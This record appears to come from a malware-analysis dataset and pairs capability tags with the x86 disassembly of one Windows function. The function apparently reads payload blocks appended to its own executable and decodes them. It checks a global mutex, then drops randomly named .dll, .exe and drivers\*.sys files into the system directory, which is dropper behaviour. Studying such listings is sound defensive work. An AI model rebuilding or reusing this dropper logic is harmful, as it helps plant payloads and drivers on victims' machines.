Function at 0x4017d7
Capabilities:
Check mutex on windows
Get common file path
Read file on windows

Disassembly:
cld
invalid
mov eax, 0x402708
call fcn.00402550
sub esp, 0x3e8
push ebx
push esi
push edi
push eax
xor eax, eax
xor eax, eax
je 0x4017f8
jae 0x401790
xor dword [eax + 0x68], ebx
inc dword [eax]
add byte [eax], al
pop eax
push 0xff
mov eax, dword [ebp + 8]
add eax, 0x606
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
add eax, 0x606
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xffffffff
jne 0x401846
xor eax, eax
jmp 0x402195
and dword [ebp - 0x150], 0
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x14c]
rep stosd dword es:[edi], eax
push 2
push 0
push 0xffffffffffffffc4
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
and dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0x3c
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x3c
lea eax, [ebp - 0x150]
push eax
call fcn.00402342
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x140]
mov dword [eax + 4], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x13c]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x138]
mov dword [eax + 0xc], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x134]
mov dword [eax + 0x10], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x148]
mov dword [eax + 0x14], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x12c]
mov dword [eax + 0x1c], ecx
movzx eax, word [ebp - 0x120]
movzx ecx, word [ebp - 0x126]
add eax, ecx
movzx ecx, word [ebp - 0x128]
add eax, ecx
movzx ecx, word [ebp - 0x124]
add eax, ecx
movzx ecx, word [ebp - 0x11c]
add eax, ecx
movzx ecx, word [ebp - 0x11e]
add eax, ecx
movzx ecx, word [ebp - 0x122]
add eax, ecx
movzx ecx, word [ebp - 0x11a]
add eax, ecx
movzx ecx, word [ebp - 0x118]
add eax, ecx
mov dword [ebp - 0x10], eax
push 2
push 0
mov eax, dword [ebp - 0x10]
add eax, 0x3c
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x120]
push eax
mov eax, dword [ebp + 8]
add eax, 0x278
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x120]
push eax
mov eax, dword [ebp + 8]
add eax, 0x278
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x126]
push eax
mov eax, dword [ebp + 8]
add eax, 0x120
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x126]
push eax
mov eax, dword [ebp + 8]
add eax, 0x120
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x128]
push eax
mov eax, dword [ebp + 8]
add eax, 0x20
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x128]
push eax
mov eax, dword [ebp + 8]
add eax, 0x20
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11e]
push eax
mov eax, dword [ebp + 8]
add eax, 0x290
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x11e]
push eax
mov eax, dword [ebp + 8]
add eax, 0x290
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x124]
push eax
mov eax, dword [ebp + 8]
add eax, 0x220
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x124]
push eax
mov eax, dword [ebp + 8]
add eax, 0x220
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x390
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x11c]
push eax
mov eax, dword [ebp + 8]
add eax, 0x390
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x122]
push eax
mov eax, dword [ebp + 8]
add eax, 0x260
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x122]
push eax
mov eax, dword [ebp + 8]
add eax, 0x260
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x11a]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3b0
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x11a]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3b0
push eax
call fcn.00402342
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x14]
push eax
movzx eax, word [ebp - 0x118]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3d0
push eax
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
movzx eax, word [ebp - 0x118]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3d0
push eax
call fcn.00402342
pop ecx
pop ecx
push 2
push 0
mov eax, dword [ebp - 0x150]
add eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x10]
lea eax, [eax + ecx + 0x3c]
xor ecx, ecx
sub ecx, eax
push ecx
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp - 0x150]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x3e4], eax
mov eax, dword [ebp - 0x3e4]
mov dword [ebp - 0x2b8], eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x150]
push dword [ebp - 0x2b8]
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x150]
push dword [ebp - 0x2b8]
call fcn.0040238f
add esp, 0xc
and dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x14c], 0
jbe 0x401c6b
push dword [ebp - 0x14c]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x3e8], eax
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x2b0], eax
push 0
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14c]
push dword [ebp - 0x2b0]
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 0x14c]
push dword [ebp - 0x2b0]
call fcn.0040238f
add esp, 0xc
push dword [ebp - 0x154]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
mov dword [eax + 0x3f0], 1
jmp 0x401c75
mov eax, dword [ebp + 8]
and dword [eax + 0x3f0], 0
and byte [ebp - 0x114], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xff
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x4040a8
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
and byte [ebp - 0x254], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x253]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push dword [eax + 0x1c]
push str.Globalps_08x
lea eax, [ebp - 0x254]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x254]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x2b4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401d19
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402195
push 0x7530
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401dd4
and byte [ebp - 0x3dc], 0
push 0x3f
pop ecx
xor eax, eax
lea edi, [ebp - 0x3db]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 8]
push dword [eax + 0x1c]
lea eax, [ebp - 0x114]
push eax
push str._s_08x.ini
lea eax, [ebp - 0x3dc]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x2dc], 0
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x2d8]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2dc]
push eax
push 0
lea eax, [ebp - 0x3dc]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x401db3
push 1
push 0x404088
lea eax, [ebp - 0x3dc]
push eax
call fcn.004021a5
add esp, 0xc
test eax, eax
jne 0x401dd2
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402195
jmp 0x401de7
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402195
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push dword [ebp - 0x2b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
add eax, 0x278
push eax
call fcn.0040242f
pop ecx
test eax, eax
jne 0x401e9b
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
and dword [ebp - 0x3e0], 0
jmp 0x401e3d
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 6
jge 0x401e83
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 0x1a
pop ecx
idiv ecx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x3e0]
mov byte [eax + 0x278], dl
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x3e0]
mov al, byte [eax + 0x278]
add al, 0x61
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x3e0]
mov byte [ecx + 0x278], al
jmp 0x401e30
mov eax, dword [ebp + 8]
add eax, 0x278
push eax
mov eax, dword [ebp + 8]
add eax, 0x390
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
and byte [ebp - 0x270], 0
xor eax, eax
lea edi, [ebp - 0x26f]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
call dword [sym.imp.MSVCRT.dll_time]
pop ecx
push eax
call dword [sym.imp.MSVCRT.dll_srand]
pop ecx
and dword [ebp - 0x258], 0
jmp 0x401ed9
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 6
jge 0x401f19
call dword [sym.imp.MSVCRT.dll_rand]
cdq
push 0x1a
pop ecx
idiv ecx
mov eax, dword [ebp - 0x258]
mov byte [ebp + eax - 0x270], dl
mov eax, dword [ebp - 0x258]
mov al, byte [ebp + eax - 0x270]
add al, 0x61
mov ecx, dword [ebp - 0x258]
mov byte [ebp + ecx - 0x270], al
jmp 0x401ecc
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x506
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0x506
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..dll
mov eax, dword [ebp + 8]
add eax, 0x506
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x806
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0x806
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..pro
mov eax, dword [ebp + 8]
add eax, 0x806
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x906
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0x906
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..sco
mov eax, dword [ebp + 8]
add eax, 0x906
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0xa06
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0xa06
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..exe
mov eax, dword [ebp + 8]
add eax, 0xa06
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x406
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0x406
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..key
mov eax, dword [ebp + 8]
add eax, 0x406
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp + 8]
add eax, 0x706
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.drivers_
mov eax, dword [ebp + 8]
add eax, 0x706
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x270]
push eax
mov eax, dword [ebp + 8]
add eax, 0x706
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str..sys
mov eax, dword [ebp + 8]
add eax, 0x706
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x4050fc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x4020cd
mov eax, dword [ebp + 8]
add eax, 0x3f4
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
jmp 0x4020ef
push 0x4050fc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [ebp + 8]
add eax, 0x3f4
push eax
push 0x4050fc
call fcn.00402217
add esp, 0xc
mov byte [ebp - 0x29e], 8
mov byte [ebp - 0x29f], 8
mov byte [ebp - 0x29d], 4
mov byte [ebp - 0x29c], 2
and dword [ebp - 4], 0
push dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, 0x506
push eax
push dword [ebp - 0x2b8]
lea ecx, [ebp - 0x2ac]
call fcn.004013e9
mov eax, dword [ebp - 0x2b8]
mov dword [ebp - 0x3ec], eax
push dword [ebp - 0x3ec]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
cmp dword [ebp - 0x14c], 0
jbe 0x402181
push 0
mov eax, dword [ebp + 8]
add eax, 0x706
push eax
push dword [ebp - 0x2b0]
lea ecx, [ebp - 0x2ac]
call fcn.004013e9
mov eax, dword [ebp - 0x2b0]
mov dword [ebp - 0x3f0], eax
push dword [ebp - 0x3f0]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov dword [ebp - 0x3f4], 1
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret